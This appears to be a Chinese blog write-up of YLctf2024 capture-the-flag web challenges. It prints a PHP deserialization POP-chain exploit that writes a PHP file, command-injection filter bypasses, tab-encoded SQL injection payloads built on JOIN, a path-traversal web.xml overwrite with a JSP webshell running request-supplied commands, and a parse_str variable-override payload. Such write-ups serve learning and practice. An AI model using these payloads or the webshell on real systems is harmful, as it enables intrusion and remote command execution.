title: YLctf2024 date: 2024-10-28 19:23:59 tags: [sql的join, php反序列化, xml文件上传] categories: [比赛复现]
简单 :pExpl 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 <?php error_reporting (0 );class FileHandler { private $fileHandle ; private $fileName ; public function __construct ($fileName , $mode = 'r' ) { $this ->fileName = $fileName ; $this ->fileHandle = fopen ($fileName , $mode ); if (!$this ->fileHandle) { throw new Exception ("Unable to open file: $fileName " ); } echo "File opened: $fileName \n" ; } public function readLine ( ) { return fgets ($this ->fileHandle); } public function writeLine ($data ) { fwrite ($this ->fileHandle, $data . PHP_EOL); } public function __destruct ( ) { if (file_exists ($this ->fileName) &&!empty ($this ->fileHandle)) { fclose ($this ->fileHandle); echo "File closed: {$this->fileName} \n" ; } } } class User { private $userData = []; public function __set ($name , $value ) { if ($name == 'password' ) { $value = password_hash ($value , PASSWORD_DEFAULT); } $this ->userData[$name ] = $value ; } public function __get ($name ) { return $this ->userData[$name ] ?? null ; } public function __toString ( ) { if (is_string ($this ->params) && is_array ($this ->data) && count ($this ->data) > 1 ){ call_user_func ($this ->data,$this ->params); } return "Hello" ; } public function __isset ($name ) { return isset ($this ->userData[$name ]); } } class Logger { private $logFile ; private $lastEntry ; public function __construct ($logFile = 'application.log' ) { $this ->logFile = $logFile ; } private function log ($level , $message ) { $this ->lastEntry = "[" . date ("Y-m-d H:i:s" ) . "] [$level ] $message " . PHP_EOL; file_put_contents ($this ->logFile, $this ->lastEntry, FILE_APPEND); } public function setLogFile ($logFile ) { $this ->logFile = $logFile ; } public function clearOldLogs ($daysToKeep = 30 ) { $files = glob ("*.log" ); $now = time (); foreach ($files as $file ) { if (is_file ($file )) { if ($now - filemtime ($file ) >= 60 * 60 * 24 * $daysToKeep ) { unlink ($file ); } } } } public function __call ($name , $arguments ) { $validLevels = ['info' , 'warning' , 'error' , 'debug' ]; if (in_array ($name , $validLevels )) { $this ->log (strtoupper ($name ), $arguments [0 ]); } else { throw new Exception ("Invalid log level: $name " ); } } public function __invoke ($message , $level = 'INFO' ) { $this ->log ($level , $message ); } } if (isset ($_GET ['exp' ])) { if (preg_match ('/<\?php/i' ,$_GET ['exp' ])){ exit ; } $exp = unserialize ($_GET ['exp' ]); throw new Exception ("Test!" ); } else { highlight_file (__FILE__ ); }
访问题⽬⾸⻚发现直接提供 php 源码,简单分析代码,实现了⼀个反序列化功能,提供了⼏个类。存在 throw
new Exception(“Test!”); 和检测 <?php ,可以通过绕过 gc 和 短标签的形式去绕过该限制。
构造⼀下 POP 链,根据分析利⽤点在以下代码:
1 2 3 4 5 private function log ($level , $message ) { $this ->lastEntry = "[" . date ("Y-m-d H:i:s" ) . "] [$level ] $message " . PHP_EOL; file_put_contents ($this ->logFile, $this ->lastEntry, FILE_APPEND); }
触发点通常就是常⻅的 __destruct() ,也就是如下:
1 2 3 4 5 6 7 public function __destruct ( ) { if (file_exists ($this ->fileName) &&!empty ($this ->fileHandle)) { fclose ($this ->fileHandle); echo "File closed: {$this->fileName} \n" ; } } }
通过它调⽤到 User#__toString ,该⽅法中存在 call_user_func 函数,思考能不能直接触发命令执⾏,由于存
在参数的限制,显然不能直接调⽤,所以考虑调⽤类中不存在的函数,触发 __call ⽅法。
1 2 3 4 5 6 7 8 9 public function __call ($name , $arguments ) { $validLevels = ['info' , 'warning' , 'error' , 'debug' ]; if (in_array ($name , $validLevels )) { $this ->log (strtoupper ($name ), $arguments [0 ]); } else { throw new Exception ("Invalid log level: $name " ); } }
由于上述代码中,存在 in_array 的判断,所以需要调⽤到 array 中的⼀个,然后在触发⽂件写⼊,构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class FileHandler {private $fileHandle ;private $fileName ;public function __construct ($fileName ) {$this ->fileName = $fileName ; } } class User {private $userData = [];} class Logger {private $logFile ;private $lastEntry ;public function __construct ($logFile ) {$this ->logFile = $logFile ; } } $c = new Logger ("/var/www/html/1.php" );$b = new User ();$b ->data = [$c ,"info" ];$b ->params = "<?=phpinfo()?>" ;$a = new FileHandler ($b );$a1 = array ($a ,null );$s = serialize ($a1 );$s = str_replace ('1;N' , '0;N' , $s );echo urlencode ($s );
简单:shxpl
域名查看器:
过滤:空格可以用%09代替 baidu.com,过滤了;,|| ——-但是没有过滤&&
过滤了cat,tac,less,可以用more,nl代替
flag被过滤就用通配符[a-z],?也行
[Round 1] sInXx
可以进行查询,但是发现怎么也不能注入,这里的空格变成了%09才能注入
一个:juan79%27%09and%09%281%3D1%29%23
一个:juan79%27%09and%09%281%3D2%29%23
用union select联合注入,但是不能用,就只能用join
数据表:
1 1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23
数据列:
1 1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09 sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
数据:
1 1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%09%602%60%09FROM%09%28SELECT%09*%09FROM%09%28%28SELECT%091%29a%09JOIN%09%09%28SELECT%092%29b%29%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG%29p%09limit%092%09offset%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23
中等 -TOXEC
题⽬提供了⼀个简单的⽹盘存储功能,如下图:
经过测试可以上传除含有 jsp、class的⽂件,同时经过测试,在重命名处,可以利⽤ ../ 穿越⼀层⽬录,所以我们
考虑利⽤替换 web.xml 来实现RCE,上传内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version ="3.1" ><welcome-file-list > <welcome-file > index.html</welcome-file > </welcome-file-list > <servlet-mapping > <servlet-name > default</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > <servlet > <servlet-name > jsp</servlet-name > <servlet-class > org.apache.jasper.servlet.JspServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > jsp</servlet-name > <url-pattern > *.jsp</url-pattern > <url-pattern > *.jspx</url-pattern > 通过重命名进⾏替换: 以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下: 上传后访问并执⾏命令,如下图: 中等-Injct 访问⾸⻚发现如下界⾯: <url-pattern > *.xml</url-pattern > </servlet-mapping > </web-app >
通过重命名进⾏替换:
以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre > "); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre > "); } %>
上传后访问并执⾏命令,如下图
重命名大多是可以目录穿越的
[Round 2] Cmnts
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include 'flag.php' ;parse_str ($_SERVER ['QUERY_STRING' ]);if (isset ($pass )) { $key = md5 ($pass ); } if (isset ($key ) && $key === 'a7a795a8efb7c30151031c2cb700ddd9' ) { echo $flag ; } else { highlight_file (__FILE__ ); }
根据分析,只要满⾜ $key == ‘a7a795a8efb7c30151031c2cb700ddd9’ 即可以提供 flag ,该代码还提供了
parse_str 函数,该函数的功能如下图:
所以,构造如下 payload :
1 ?key=a7a795a8efb7c30151031c2cb700ddd9
Author:
odiws
Permalink:
http://odiws.github.io/2024/10/28/YLctf2024/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?